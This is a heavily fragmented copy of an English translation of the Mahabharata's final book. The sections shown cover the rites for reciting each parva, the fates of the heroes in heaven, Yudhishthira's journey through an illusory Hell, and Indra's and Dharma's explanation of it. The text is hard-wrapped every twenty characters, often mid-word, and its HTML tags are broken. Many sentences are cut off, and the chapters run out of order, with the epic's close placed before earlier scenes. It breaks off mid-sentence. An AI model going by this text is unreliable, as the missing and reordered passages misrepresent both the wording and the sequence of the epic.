f of the Bharatas, t
he twice-born ones,
after being decked w
ith perfumes and gar
lands, should be ent
ertained with food p
ossessed of every ag
reeable quality.</p>
ecitation of the <i>
Bhishma-parva, </i>O
king of kings, afte
r giving them excell
ent cars and conveya
nces, food should be
given that is pure
and well-cooked and
possessed of every d
esirable attribute.<
e <i>Drona-parva </i
>food of very superi
or kind should be gi
ven to learned <i>br
ahmanas, </i>as also
beds, O monarch, an
d bows and good swor
g the recitation of
the <i>Karna-parva,
</i>food of the fore
most kind, besides b
eing pure and well-c
ooked, should be pre
sented unto the <i>b
rahmanas </i>by the
house-holder with ra
During the recitatio
n of the <i>Shalya-p
arva, </i>O king of
kings, food with con
fectionery and rice
boiled with raw suga
r, as also cakes of
wheat and soothing a
nd nutritive viands
and drinks should be
p>"During the recita
tion of the <i>Gada-
parva, brahmanas </i
>should be entertain
ed with food mixed w
ith <i>mudga.</i></p
recitation of the <i
>Stri-parva, </i>for
emost of <i>brahmana
s </i>should be ente
rtained with gems an
d precious stones; a
nd during the recita
tion of the <i>Aishi
ka-parva, </i>rice b
oiled in ghee should
first be given, and
then food pure and
well-cooked, and pos
sessed of every desi
rable quality, shoul
d be presented.</p>
citation of the <i>S
hanti-parva, </i>the
<i>brahmanas </i>sh
ould be fed with <i>
<p>"When the <i>Asva
medhika-parva </i>is
reached, food posse
ssed of every agreea
ble quality should b
e given; and when th
e <i>Asramvasika </i
>is reached, <i>brah
manas </i>should be
entertained with <i>
<p>"When the <i>Maus
ala </i>is reached,
scents and garlands
possessed of agreeab
le qualities should
be given away.</p>
Mahaprasthanika, </i
>similar presents sh
ould be made, posses
sed of every quality
of an agreeable kin
he <i>Svarga-parva <
/i>is reached, the <
i>brahmanas </i>shou
ld be fed with <i>ha
>"Upon the conclusio
n of the Harivansa,
a 1,000 <i>brahmanas
</i>should be fed.
Unto each of them sh
ould be presented a
cow accompanied with
a piece of gold. Ha
lf of this should be
presented to each p
oor man, O king.</p>
clusion of all the P
arvas, the house-hol
der of wisdom should
give unto the recit
er a copy of the Mah
abharata with a piec
e of gold. When the
Harivansa Parva is b
eing recited, Brahma
nas should be fed wi
th frumenty at each
successive Parana, O
king. Having finish
ed all the Parvas, o
ne versed in the scr
iptures, robing hims
elf in white, wearin
g garlands, decked w
ith ornaments, and p
roperly purified, sh
ould place a copy of
the Mahabharata on
an auspicious spot a
nd cover it with a p
iece of silken cloth
and worship it, acc
ording to due rites,
with scents and gar
lands, offering each
at a time. Indeed,
O king, the several
volumes of this trea
tise should be worsh
ipped by one with de
votion and concentra
ted mind. Offerings
should be made unto
them of diverse kind
s of food and garlan
ds and drinks and di
verse auspicious art
icles of enjoyment.
Gold and other preci
ous metals should be
given as Dakshina.
The names should the
n be taken of all th
e deities as also of
Nara and Narayana.
Then, adorning the p
ersons of some forem
ost of Brahmanas wit
h scents and garland
s, they should be gr
atified with diverse
kinds of gifts of e
njoyable and very su
perior or costly art
icles. By doing this
, one attains to the
merits of the Atira
tra sacrifice. Indee
d, at each successiv
e Parva, he acquires
the merits that att
ach to the performan
ce of a sacrifice. T
he reciter, O chief
of the Bharatas, sho
uld be possessed of
learning and endued
with a good voice an
d a clear utterance
respecting both lett
ers and words. Even
such a man should, O
chief of the Bharat
as, recite the Bhara
ta. After entertaini
ng a number of forem
ost Brahmanas, prese
nts should be made u
nto them according t
o the ordinances. Th
e reciter also, O ch
ief of the Bharatas,
should be decked wi
th ornaments and fed
sumptuously. The re
citer being gratifie
d, the house-holder
attains to an excell
ent and auspicious c
ontentment. If the B
rahmanas are gratifi
ed, all the deities
are gratified. After
this, O chief of th
e Bharatas, Brahmana
s should be duly ent
ertained with divers
e kinds of enjoyable
articles and superi
>"I have thus indica
ted the ordinances,
O foremost of men, (
about the manner of
reciting these scrip
tures) in answer to
thy enquiries. Thou
shouldst observe the
m with faith. In lis
tening to a recitati
on of the Bharata an
d at each Parana, O
best of kings, one t
hat desires to attai
n to the highest goo
d should listen with
the greatest care a
nd attention. One sh
ould listen to the B
harata every day. On
e should proclaim th
e merits of the Bhar
ata every day. One i
n whose house the Bh
arata occurs, has in
his hands all those
scriptures which ar
e known by the name
of <i>Jaya. </i>The
<i>Bharata </i>is cl
eansing and sacred.
In the Bharata are d
iverse topics. The B
harata is worshipped
by the very gods. T
he Bharata is the hi
ghest goal. The Bhar
ata, O chief of the
Bharatas, is the for
emost of all scriptu
res. One attains to
Emancipation through
the Bharata. This t
hat I tell thee is c
ertain truth. One th
at proclaims the mer
its of this history
called the Mahabhara
ta, of the Earth, of
the cow, of Sarasva
ti (the goddess of s
peech), of Brahmanas
, and of Keshava, ha
s never to languish.
edas, in the Ramayan
a, and in the sacred
Bharata, O chief of
Bharata’s race
, Hari is sung in th
e beginning, the mid
dle, and at the end.
That in which occur
excellent statement
s relating to Vishnu
, and the eternal Sr
utis, should be list
ened to by men desir
ous of attaining to
the highest goal. Th
is treatise is sanct
ifying. This is the
highest indicator as
regards duties; thi
s is endued with eve
ry merit. One desiro
us of prosperity sho
uld listen to it. Si
ns committed by mean
s of the body, by me
ans of words, and by
means of the mind,
are all destroyed (t
hrough listening to
the Bharata) as Dark
ness at sunrise. One
devoted to Vishnu a
cquires (through thi
s) that merit which
is acquired by liste
ning to the eighteen
Puranas. There is n
o doubt in this. Men
and women (by liste
ning to this) would
certainly attain to
the status of Vishnu
. Women desirous of
having children shou
ld certainly listen
to this which procla
ims the fame of Vish
nu. One desirous of
attaining to the fru
its that attach to a
recitation of the B
harata should, accor
ding to one’s p
ower, give unto the
reciter Dakshina, as
also an honorarium
in gold. One desirou
s of one’s own
good should give unt
o the reciter a Kapi
la cow with horns ca
sed in gold and acco
mpanied by her calf,
covered with a clot
h. Ornaments, O chie
f of Bharata’s
race, for the arms,
as also those for th
e ears, should be gi
ven. Besides these,
other kinds of wealt
h should be presente
d. Unto the reciter,
O king of men, gift
of land should be m
ade. No gift like th
at of land could eve
r be or will be. The
man that listens (t
o the Bharata) or th
at recites it to oth
er people, becomes c
leansed of all his s
ins and attains at l
ast to the status of
Vishnu. Such a man
rescues his ancestor
s to the eleventh de
gree, as also himsel
f with his wives and
sons, O chief of Bh
arata’s race. A
fter concluding a re
citation of the Bhar
ata, one should, O k
ing, perform a Homa
with all its ten par
e thus, O chief of m
en, told everything
in thy presence. He
that listens with de
votion to this Bhara
ta from the beginnin
g becomes cleansed o
f every sin even if
he be guilty of Brah
manicide or the viol
ation of his precept
or’s bed, or ev
en if he be a drinke
r of alcohol or a ro
bber of other people
’s wares, or ev
en if he be born in
the Chandala order.
Destroying all his s
ins like the maker o
f day destroying dar
kness, such a man, w
ithout doubt, sports
in felicity in the
region of Vishnu lik
e Vishnu himself."</
er"><i>The End of th
e Svargarohanika-par
gn="center"><i>The E
ighteen parvas of th
e Mahabharata are th
us completed</i></p>
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said, "Bhishma and
Drona, those two hig
h-souled persons, ki
ng Dhritarashtra, an
d Virata and Drupada
, and Sankha and Utt
ara. Dhrishtaketu an
d Jayatsena and king
Satyajit, the sons
of Duryodhana, and S
hakuni the son of Su
bala, Karna’s s
ons of great prowess
, king Jayadratha, G
hatotkaca and others
whom thou hast not
mentioned, the other
heroic kings of bla
zing forms—tell
me for what period
they remained in Hea
ven. O foremost of r
egenerate persons, w
as theirs an eternal
place in Heaven? Wh
at was the end attai
ned to by those fore
most of men when the
ir acts came to an e
nd? I desire to hear
this, O foremost of
regenerate persons,
and therefore have
I asked thee. Throug
h thy blazing penanc
es thou seest all th
i said: Thus questio
ned, that regenerate
Rishi, receiving th
e permission of the
high-souled Vyasa, s
et himself to answer
the question of the
shampayana said, "Ev
ery one, O king of m
en, is not capable o
f returning to his o
wn nature at the end
of his deeds. Wheth
er this is so or not
, is, indeed a good
question asked by th
ee. Hear, O king, th
is which is a myster
y of the gods, O chi
ef of Bharata’s
race. It was explai
ned (to us) by Vyasa
of mighty energy, c
elestial vision and
great prowess, that
ancient ascetic, O K
auravya, who is the
son of Parasara and
who always observes
high vows, who is of
immeasurable unders
tanding, who is omni
scient, and who, the
refore knows the end
attached to all act
a of mighty energy a
nd great effulgence
attained to the stat
us of the Vasus. Eig
ht Vasus, O chief of
Bharata’s race
, are now seen. Dron
a entered into Briha
spati, that foremost
one of Angirasa
6;s descendants. Hri
dika’s son Krit
avarma entered the M
aruts. Pradyumna ent
ered Sanatkumara whe
nce he had issued. D
hritarashtra obtaine
d the regions, so di
fficult of acquisiti
on, that belong to t
he Lord of treasures
. The famous Gandhar
i obtained the same
regions with her hus
band Dhritarashtra.
With his two wives,
Pandu proceeded to t
he abode of the grea
t Indra. Both Virata
and Drupada, the ki
ng Dhrishtaketu, as
also Nishatha, Akrur
a, Samva, Bhanukampa
, and Viduratha, and
Bhurishrava and Sal
a and king Bhuri, an
d Kansa, and Ugrasen
a, and Vasudeva, and
Uttara, that foremo
st of men, with his
brother Sankha—
all these foremost o
f persons entered th
e deities. Soma’
;s son of great prow
ess, named Varchas o
f mighty energy, bec
ame Abhimanyu, the s
on of Phalguna, that
lion among men. Hav
ing fought, agreeabl
y to Kshatriya pract
ices, with bravery s
uch as none else had
ever been able to s
how, that mighty-arm
ed and righteous-sou
led being entered So
ma. Slain on the fie
ld of battle, O fore
most of men, Karna e
ntered Surya. Shakun
i obtained absorptio
n into Dwapara, and
Dhrishtadyumna into
the deity of fire. T
he sons of Dhritaras
htra were all Raksha
sas of fierce might.
Sanctified by death
caused by weapons,
those high-souled be
ings of prosperity a
ll succeeded in atta
ining to Heaven. Bot
h Kshattri and king
Yudhishthira entered
into the god of Rig
hteousness. The holy
and illustrious Ana
nta (who had taken b
irth as Balarama) pr
oceeded to the regio
n below the Earth. T
hrough the command o
f the Grandsire, he,
aided by his Yoga p
ower, supported the
Earth. Vasudeva was
a portion of that et
ernal god of gods ca
lled Narayana. Accor
dingly, he entered i
nto Narayana. 16,000
women had been marr
ied to Vasudeva as h
is wives. When the t
ime came, O Janameja
ya, they, plunged in
to the Sarasvati. Ca
sting off their (hum
an) bodies there, th
ey re-ascended to He
aven. Transformed in
to Apsaras, they app
roached the presence
of Vasudeva. Those
heroic and mighty ca
r-warriors, Ghatotka
ca and others, who w
ere slain in the gre
at battle, attained
to the status, some
of gods and some of
Yakshas. Those that
had fought on the si
de of Duryodhana are
said to have been R
akshasas. Gradually,
O king, they have a
ll attained to excel
lent regions of feli
city. Those foremost
of men have proceed
ed, some to the abod
e of Indra, some to
that of Kuvera of gr
eat intelligence, an
d some to that of Va
runa. I have now tol
d thee, O thou of gr
eat splendour, every
thing about the acts
, O Bharata, of both
the Kurus and the P
auti said: Hearing t
his, ye foremost of
regenerate ones, at
the intervals of sac
rificial rites, king
Janamejaya became f
illed with wonder. T
he sacrificial pries
ts then finished the
rites that remained
to be gone through.
Astika, having resc
ued the snakes (from
fiery death), becam
e filled with joy. K
ing Janamejaya then
gratified all the Br
ahmanas with copious
presents. Thus wors
hipped by the king,
they returned to the
ir respective abodes
. Having dismissed t
hose learned Brahman
as, king Janamejaya
came back from Taksh
asila to the city na
med after the elepha
now told everything
that Vaishampayana
narrated, at the com
mand of Vyasa, unto
the king at his snak
e sacrifice. Called
a history, it is sac
red, sanctifying and
excellent. It has b
een composed by the
ascetic Krishna, O B
rahmana, of truthful
speech. He is omnis
cient, conversant wi
th all ordinances, p
ossessed of a knowle
dge of all duties, e
ndued with piety, ca
pable of perceiving
what is beyond the k
en of the senses, pu
re, having a soul cl
eansed by penances,
possessed of the six
high attributes, an
d devoted to Sankhya
Yoga. He has compos
ed this, beholding e
verything with a cel
estial eye that has
been cleansed (stren
gthened) by varied l
ore. He has done thi
s, desiring to sprea
d the fame, througho
ut the world, of the
high-souled Pandava
s, as also of other
Kshatriyas possessed
of abundant wealth
>That learned man wh
o recites this histo
ry of sacred days in
the midst of a list
ening auditory becom
es cleansed of every
sin, conquers Heave
n, and attains to th
e status of Brahma.
Of that man who list
ens with rapt attent
ion to the recitatio
n of the whole of th
is Veda composed by
(the Island-born) Kr
ishna, a million sin
s, numbering such gr
ave ones as Brahmani
cide and the rest, a
re washed off. The P
itris of that man wh
o recites even a sma
ll portion of this h
istory at a Sraddha,
obtain inexhaustibl
e food and drink. Th
e sins that one comm
its during the day b
y one’s senses
or the mind are all
washed off before ev
ening by reciting a
portion of the Mahab
harata. Whatever sin
s a Brahmana may com
mit at night in the
midst of women are a
ll washed off before
dawn by reciting a
portion of the Mahab
e high race of the B
haratas is its topic
. Hence it is called
Bharata. And becaus
e of its grave impor
t, as also of the Bh
aratas being its top
ic, it is called <i>
Mahabharata. </i>He
who is versed in int
erpretations of this
great treatise, bec
omes cleansed of eve
ry sin. Such a man l
ives in righteousnes
s, wealth, and pleas
ure, and attains to
Emancipation also, O
chief of Bharata
>That which occurs h
ere occurs elsewhere
. That which does no
t occur here occurs
nowhere else. This h
istory is known by t
he name of Jaya. It
should be heard by e
very one desirous of
Emancipation. It sh
ould be read by Brah
manas, by kings, and
by women quick with
children. He that d
esires Heaven attain
s to Heaven; and he
that desires victory
attains to victory.
The woman quick wit
h child gets either
a son or a daughter
highly blessed. The
puissant Island-born
Krishna, who will n
ot have to come back
, and who is Emancip
ation incarnate, mad
e an abstract of the
Bharata, moved by t
he desire of aiding
the cause of righteo
usness. He made anot
her compilation cons
isting of sixty lakh
s of verses. Thirty
lakhs of these were
placed in the region
of the deities. In
the region of the Pi
tris fifteen lakhs,
it should be known,
are current; while i
n that of the Yaksha
s fourteen lakhs are
in vogue. One lakh
is current among hum
>Narada recited the
Mahabharata to the g
ods; Asita-Devala to
the Pitris; Suka to
the Rakshasas and t
he Yakshas; and Vais
hampayana to human b
eings. This history
is sacred, and of hi
gh import, and regar
ded as equal to the
Vedas. That man, O S
aunaka, who hears th
is history, placing
a Brahmana before hi
m, acquires both fam
e and the fruition o
f all his wishes. He
who, with fervid de
votion, listens to a
recitation of the M
ahabharata, attains
(hereafter) to high
success in consequen
ce of the merit that
becomes his through
understanding even
a very small portion
thereof. All the si
ns of that man who r
ecites or listens to
this history with d
evotion are washed o
mer times, the great
Rishi Vyasa, having
composed this treat
ise, caused his son
Suka to read it with
him, along with the
se four Verses. 
1;Thousands of mothe
rs and fathers, and
hundreds of sons and
wives arise in the
world and depart fro
m it. Others will (a
rise and) similarly
depart. There are th
ousands of occasions
for joy and hundred
s of occasions for f
ear. These affect on
ly him that is ignor
ant but never him th
at is wise. With upl
ifted arms I am cryi
ng aloud but nobody
hears me. From Right
eousness is Wealth a
s also Pleasure. Why
should not Righteou
sness, therefore, be
courted? For the sa
ke neither of pleasu
re, nor of fear, nor
of cupidity should
any one cast off Rig
hteousness. Indeed,
for the sake of even
life one should not
cast off Righteousn
ess. Righteousness i
s eternal. Pleasure
and Pain are not ete
rnal. Jiva is eterna
l. The cause, howeve
r, of Jiva’s be
ing invested with a
body is not so.</p>
waking up at dawn, r
eads this Savittri o
f the Bharata, acqui
res all the rewards
attached to a recita
tion of this history
and ultimately atta
ins to the highest B
rahma. As the sacred
Ocean, as the Himav
at mountain, are bot
h regarded as mines
of precious gems, ev
en so is this Bharat
a (regarded as a min
e of precious gems).
The man of learning
, by reciting to oth
ers this Veda or Aga
ma composed by (the
Island-born) Krishna
, earns wealth. Ther
e is no doubt in thi
s that he who, with
rapt attention, reci
tes this history cal
led Bharata, attains
to high success. Wh
at need has that man
of a sprinkling of
the waters of Pushka
ra who attentively l
istens to this Bhara
ta, while it is reci
ted to him? It repre
sents the nectar tha
t fell from the lips
of the Island-born.
It is immeasurable,
sacred, sanctifying
, sin-cleansing, and
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na said, "King Yudhi
shthira, thus praise
d by the gods, the M
aruts and the Rishis
, proceeded to that
place where those fo
remost ones of Kuru&
#146;s race were. He
beheld Govinda endu
ed with his Brahma-f
orm. It resembled th
at form of his which
had been seen befor
e and which, therefo
re, helped the recog
nition. Blazing fort
h in that form of hi
s, he was adorned wi
th celestial weapons
, such as the terrib
le discus and others
in their respective
embodied forms. He
was being adored by
the heroic Phalguna,
who also was endued
with a blazing effu
lgence. The son of K
unti beheld the slay
er of Madhu also in
his own form. Those
two foremost of Bein
gs, adored by all th
e gods, beholding Yu
dhishthira, received
him with proper hon
another place, the d
elighter of the Kuru
s beheld Karna, that
foremost one among
all wielders of weap
ons, resembling a do
zen Suryas in splend
our. In another part
he beheld Bhimasena
of great puissance,
sitting in the mids
t of the Maruts, and
endued with a blazi
ng form. He was sitt
ing by the side of t
he God of Wind in hi
s embodied form. Ind
eed, he was then in
a celestial form end
ued with great beaut
y, and had attained
to the highest succe
ss. In place belongi
ng to the Ashvinis,
the delighter of the
Kurus beheld Nakula
and Sahadeva, each
blazing with his own
<p>"He also beheld t
he princess of Panca
la, decked in garlan
ds of lotuses. Havin
g attained to Heaven
, she was sitting th
ere, endued with a f
orm possessed of sol
ar splendour. King Y
udhishthira suddenly
wished to question
her. Then the illust
rious Indra, the chi
ef of the gods, spok
e to him, ‘This
one is Sree herself
. It was for your sa
ke that she took bir
th, as the daughter
of Drupada, among hu
man beings, issuing
not from any mother&
#146;s womb, O Yudhi
shthira, endued with
agreeable perfume a
nd capable of deligh
ting the whole world
. For your pleasure,
she was created by
the wielder of the t
rident. She was born
in the race of Drup
ada and was enjoyed
by you all. These fi
ve highly blessed Ga
ndharvas endued with
the effulgence of f
ire, and possessed o
f great energy, were
, O king, the sons o
f Draupadi and yours
ld Dhritarashtra, th
e king of the Gandha
rvas, possessed of g
reat wisdom. Know th
at this one was the
eldest brother of th
y sire. This one is
thy eldest brother,
the son of Kunti, en
dued with effulgence
of fire. The son of
Surya, thy eldest b
rother, the foremost
of men, even this o
ne was known as the
son of Radha. He mov
es in the company of
Surya. Behold this
foremost of Beings.
Among the tribes of
the Saddhyas, the go
ds, the Viswedevas,
and the Maruts, beho
ld, O king of kings,
the mighty car-warr
iors of the Vrishnis
and the Andhakas, v
iz., those heroes ha
ving Satyaki for the
ir first, and those
mighty ones among th
e Bhojas. Behold the
son of Subhadra, in
vincible in battle,
now staying with Som
a. Even he is the mi
ghty bowman Abhimany
u, now endued with t
he gentle effulgence
of the great lumina
ry of the night. Her
e is the mighty bowm
an Pandu, now united
with Kunti and Madr
i. Thy sire frequent
ly comes to me on hi
s excellent car. Beh
old the royal Bhishm
a, the son of Santan
u, now in the midst
of the Vasus. Know t
hat this one by the
side of Brihaspati i
s thy preceptor Dron
a. These and other k
ings, O son of Pandu
, who had warred on
thy side now walk wi
th the Gandharvas or
Yakshas or other sa
cred beings. Some ha
ve attained to the s
tatus of Guhyakas, O
king. Having cast o
ff their bodies, the
y have conquered Hea
ven by the merit the
y had acquired throu
gh word, thought and
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na said, "King Yudhi
shthira the just, th
e son of Pritha, had
not stayed there fo
r more than a moment
when, O thou of Kur
u’s race, all t
he gods with Indra a
t their head came to
that spot. The deit
y of Righteousness i
n his embodied form
also came to that pl
ace where the Kuru k
ing was, for seeing
that monarch. Upon t
he advent of those d
eities of resplenden
t bodies and sanctif
ied and noble deeds,
the darkness that h
ad overwhelmed that
region immediately d
isappeared. The torm
ents undergone by be
ings of sinful deeds
were no longer seen
. The river Vaitaran
i, the thorny Salmal
i, the iron jars, an
d the boulders of ro
ck, so terrible to b
ehold, also vanished
from sight. The div
erse repulsive corps
es also, which the K
uru king had seen, d
isappeared at the sa
me time. Then a bree
ze, delicious and fr
aught with pleasant
perfumes, perfectly
pure and delightfull
y cool, O Bharata, b
egan to blow on that
spot in consequence
of the presence of
the gods. The Maruts
, with Indra, the Va
sus with the twin As
hvinis, the Sadhyas,
the Rudras, the Adi
tyas, and the other
denizens of Heaven,
as also the Siddhas
and the great Rishis
, all came there whe
re Dharma’s roy
al son of great ener
hen Shakra, the lord
of the deities, end
ued with blazing pro
sperity, addressed Y
udhishthira and comf
orting him, said, &#
145;O Yudhishthira o
f mighty arms, come,
come, O chief of me
n. These illusions h
ave ended, O puissan
t one. Success has b
een attained by thee
, O mighty-armed one
, and eternal region
s (of felicity) have
become thine. Thou
shouldst not yield t
o wrath. Listen to t
hese words of mine.
Hell, O son, should
without doubt be beh
eld by every king. O
f both good and bad
there is abundance,
O chief of men. He w
ho enjoys first the
fruits of his good a
cts must afterwards
endure Hell. He, on
the other hand, who
first endures Hell,
must afterwards enjo
y Heaven. He whose s
inful acts are many
enjoys Heaven first.
It is for this, O k
ing, that desirous o
f doing thee good, I
caused thee to be s
ent for having a vie
w of Hell. Thou hads
t, by a pretence, de
ceived Drona in the
matter of his son. T
hou hast, in consequ
ence thereof, been s
hown Hell by an act
of deception. After
the manner of thysel
f, Bhima and Arjuna,
and Draupadi, have
all been shown the p
lace of sinners by a
n act of deception.
Come, O chief of men
, all of them have b
een cleansed of thei
r sins. All those ki
ngs who had aided th
ee and who have been
slain in battle, ha
ve all attained to H
eaven. Come and beho
ld them, O foremost
one of Bharata’
#145;Karna, the migh
ty bowman, that fore
most of all wielders
of weapons for whom
thou art grieving,
has also attained to
high success. Behol
d, O puissant one, t
hat foremost of men,
viz., the son of Su
rya. He is in that p
lace which is his ow
n, O mighty-armed on
e. Kill this grief o
f thine, O chief of
men. Behold thy brot
hers and others, tho
se kings, that is, w
ho had espoused thy
side. They have all
attained to their re
spective places (of
felicity). Let the f
ever of thy heart be
dispelled. Having e
ndured a little mise
ry first, from this
time, O son of Kuru&
#146;s race, do thou
sport with me in ha
ppiness, divested of
grief and all thy a
ilments dispelled. O
mighty-armed one, d
o thou now enjoy, O
king, the rewards of
all thy deeds of ri
ghteousness of those
regions which thou
hast acquired thysel
f by thy penances an
d of all thy gifts.
Let deities and Gand
harvas, and celestia
l Apsaras, decked in
pure robes and exce
llent ornaments, wai
t upon and serve the
e for thy happiness.
Do thou, O mighty-a
rmed one, enjoy now
those regions (of fe
licity) which have b
ecome thine through
the Rajasuya sacrifi
ce performed by thee
and whose felicitie
s have been enhanced
by the sacrificial
scimitar employed by
thee. Let the high
fruits of thy penanc
es be enjoyed by the
e. Thy regions, O Yu
dhishthira, are abov
e, those of kings. T
hey are equal to tho
se of Hariscandra, O
son of Pritha. Come
, and sport there in
bliss. There where
the royal sage Mandh
atri is, there where
king Bhagiratha is,
there where Dushman
ta’s son Bharat
a is, there wilt tho
u sport in bliss. He
re is the celestial
river, sacred and sa
nctifying the three
worlds. It is called
Heavenly Ganga. Plu
nging into it, thou
wilt go to thy own r
egions. Having bathe
d in this stream, th
ou wilt be divested
of thy human nature.
Indeed, thy grief d
ispelled, thy ailmen
ts conquered, thou w
ilt be freed from al
l enmities.’</p
ru king, the chief o
f the gods was sayin
g so unto Yudhishthi
ra, the deity of Rig
hteousness, in his e
mbodied form, then a
ddressed his own son
and said, ‘O k
ing, I am greatly pl
eased, O thou of gre
at wisdom, with thee
, O son, by thy devo
tion to me, by thy t
ruthfulness of speec
h, and forgiveness,
and self-restraint.
This, indeed, is the
third test, O king,
to which I put thee
. Thou art incapable
, O son of Pritha, o
f being swerved from
thy nature or reaso
n. Before this, I ha
d examined thee in t
he Dwaita woods by m
y questions, when th
ou hadst come to tha
t lake for recoverin
g a couple of fire s
ticks. Thou stoodst
it well. Assuming th
e shape of a dog, I
examined thee once m
ore, O son, when thy
brothers with Draup
adi had fallen down.
This has been thy t
hird test; thou hast
expressed thy wish
to stay at Hell for
the sake of thy brot
hers. Thou hast beco
me cleansed, O highl
y blessed one. Purif
ied of sin, be thou
son of Pritha, thy b
rothers, O king, wer
e not such as to des
erve Hell. All this
has been an illusion
created by the chie
f of the gods. Witho
ut doubt, all kings,
O son, must once be
hold Hell. Hence has
t thou for a little
while been subjected
to this great affli
ction. O king, neith
er Arjuna, nor Bhima
, nor any of those f
oremost of men, viz.
, the twins, nor Kar
na, ever truthful in
speech and possesse
d of great courage,
could be deserving o
f Hell for a long ti
me. The princess Kri
shna too, O Yudhisht
hira, could not be d
eserving of that pla
ce of sinners. Come,
come, O foremost on
e of the Bharatas, b
ehold Ganga who spre
ads her current over
the three worlds.&#
addressed, that roy
al sage, viz., thy g
randsire, proceeded
with Dharma and all
the other gods. Havi
ng bathed in the cel
estial river Ganga,
sacred and sanctifyi
ng and ever adored b
y the Rishis, he cas
t off his human body
. Assuming then a ce
lestial form, king Y
udhishthira the just
, in consequence of
that bath, became di
vested of all his en
mities and grief. Su
rrounded by the deit
ies, the Kuru king Y
udhishthira then pro
ceeded from that spo
t. He was accompanie
d by Dharma, and the
great Rishis uttere
d his praises. Indee
d, he reached that p
lace where those for
emost of men, those
heroes, viz., the Pa
ndavas and the Dhart
arashtras, freed fro
m (human) wrath, wer
e enjoying each his
respective status.</
.htm">Next: Section
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HREF="index.html">In
EF="e18001.htm">Prev
REF="e18003.htm">Nex
align="center"><b>2
ishthira said, ‘
;Ye deities, I do no
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t see here Radha
6;s son of immeasura
ble prowess, as also
my high-souled brot
hers, and Yudhamanyu
and Uttamaujas, tho
se great car-warrior
s that poured their
bodies (as libations
) on the fire of bat
tle, those kings and
princes that met wi
th death for my sake
in battle. Where ar
e those great car-wa
rriors that possesse
d the prowess of tig
ers? Have those fore
most of men acquired
this region? If tho
se great car-warrior
s have obtained thes
e regions, then only
do you know, ye god
s, that I shall resi
de here with those h
igh-souled ones. If
this auspicious and
eternal region has n
ot been acquired by
those kings, then kn
ow, ye gods, that wi
thout those brothers
and kinsmen of mine
, I shall not live h
ere. At the time of
performing the water
rites (after the ba
ttle), I heard my mo
ther say, ‘Do t
hou offer oblations
of water unto Karna.
’ Since hearing
those words of my m
other, I am burning
with grief. I grieve
also incessantly at
this, ye gods, that
when I marked the r
esemblance between t
he feet of my mother
and those of Karna
of immeasurable soul
, I did not immediat
ely place myself und
er orders of that af
flicter of hostile r
anks. Ourselves join
ed with Karna, Shakr
a himself would have
been unable to vanq
uish in battle. Wher
ever may that child
of Surya be, I desir
e to see him. Alas,
his relationship wit
h us being unknown,
I caused him to be s
lain by Arjuna. Bhim
a also of terrible p
rowess and dearer to
me than my life-bre
aths, Arjuna too, re
sembling Indra himse
lf, the twins also t
hat resembled the De
stroyer himself in p
rowess, I desire to
behold. I wish to se
e the princess of Pa
ncala, whose conduct
was always righteou
s. I wish not to sta
y here. I tell you t
he truth. Ye foremos
t ones among the dei
ties, what is Heaven
to me if I am disso
ciated from my broth
ers? That is Heaven
where those brothers
of mine are. This,
in my opinion, is no
t Heaven.’</p>
, ‘If thou long
est to be there, go
then, O son, without
delay. At the comma
nd of the chief of t
he deities, we are r
eady to do what is a
greeable to thee.
mpayana continued: H
aving said so, the g
ods then ordered the
celestial messenger
, O scorcher of foes
, saying, ‘Do t
hou show unto Yudhis
hthira his friends a
nd kinsmen.’ Th
en the royal son of
Kunti and the celest
ial messenger procee
ded together, O fore
most of kings, to th
at place where those
chiefs of men (whom
Yudhishthira had wi
shed to see) were. T
he celestial messeng
er proceeded first,
the king followed hi
m behind. The path w
as inauspicious and
difficult and trodde
n by men of sinful d
eeds. It was envelop
ed in thick darkness
, and covered with h
air and moss forming
its grassy vesture.
Polluted with the s
tench of sinners, an
d miry with flesh an
d blood, it abounded
with gadflies and s
tinging bees and gna
ts and was endangere
d by the inroads of
grisly bears. Rottin
g corpses lay here a
nd there. Overspread
with bones and hair
, it was noisome wit
h worms and insects.
It was skirted all
along with a blazing
fire. It was infest
ed by crows and othe
r birds and vultures
, all having beaks o
f iron, as also by e
vil spirits with lon
g mouths pointed lik
e needles. And it ab
ounded with inaccess
ible fastnesses like
the Vindhya mountai
ns. Human corpses we
re scattered over it
, smeared with fat a
nd blood, with arms
and thighs cut off,
or with entrails tor
n out and legs sever
that path so disagr
eeable with the sten
ch of corpses and aw
ful with other incid
ents, the righteous-
souled king proceede
d, filled with diver
se thoughts. He behe
ld a river full of b
oiling water and, th
erefore, difficult t
o cross, as also a f
orest of trees whose
leaves were sharp s
words and razors. Th
ere were plains full
of fine white sand
exceedingly heated,
and rocks and stones
made of iron. There
were many jars of i
ron all around, with
boiling oil in them
. Many a Kuta-salmal
ika was there, with
sharp thorns and, th
erefore, exceedingly
painful to the touc
h. The son of Kunti
beheld also the tort
ures inflicted upon
p>"Beholding that in
auspicious region ab
ounding with every s
ort of foulness, Yud
hishthira asked the
celestial messenger,
saying, ‘How f
ar shall we proceed
along a path like th
is? It behoveth thee
to tell me where th
ose brothers of mine
are. I desire also
to know what region
is this of the gods?
ng these words of ki
ng Yudhishthira the
just, the celestial
messenger stopped in
his course and repl
ied, saying, ‘T
hus far is your way.
The denizens of Hea
ven commanded me tha
t having come thus f
ar, I am to stop. If
thou art tired, O k
ing of kings, thou m
ayst return with me.
dhishthira, however,
was exceedingly dis
consolate and stupef
ied by the foul odou
r. Resolved to retur
n, O Bharata, he ret
raced his steps. Aff
licted by sorrow and
grief, the righteou
s-souled monarch tur
ned back. Just at th
at moment he heard p
iteous lamentations
all around, ‘O
son of Dharma, O roy
al sage, O thou of s
acred origin, O son
of Pandu, do thou st
ay a moment for favo
uring us. At thy app
roach, O invincible
one, a delightful br
eeze hath begun to b
low, bearing the swe
et scent of thy pers
on. Great hath been
our relief at this.
O foremost of kings,
beholding thee, O f
irst of men, great h
ath been our happine
ss. O son of Pritha,
let that happiness
last longer through
thy stay here, for a
few moments more. D
o thou remain here,
O Bharata, for even
a short while. As lo
ng as thou art here,
O thou of Kuru’
;s race, torments ce
ase to afflict us.&#
146; These and many
similar words, utter
ed in piteous voices
by persons in pain,
the king heard in t
hat region, wafted t
o his ears from ever
earing those words o
f beings in woe, Yud
hishthira of compass
ionate heart exclaim
ed aloud, ‘Alas
, how painful!’
And the king stood
still. The speeches
of those woe-begone
and afflicted person
s seemed to the son
of Pandu to be utter
ed in voices that he
had heard before al
though he could not
recognise them on th
<p>"Unable to recogn
ise voices, Dharma&#
146;s son, Yudhishth
ira, enquired, sayin
g, ‘Who are you
? Why also do you st
ay here?’</p>
, they answered him
from all sides, sayi
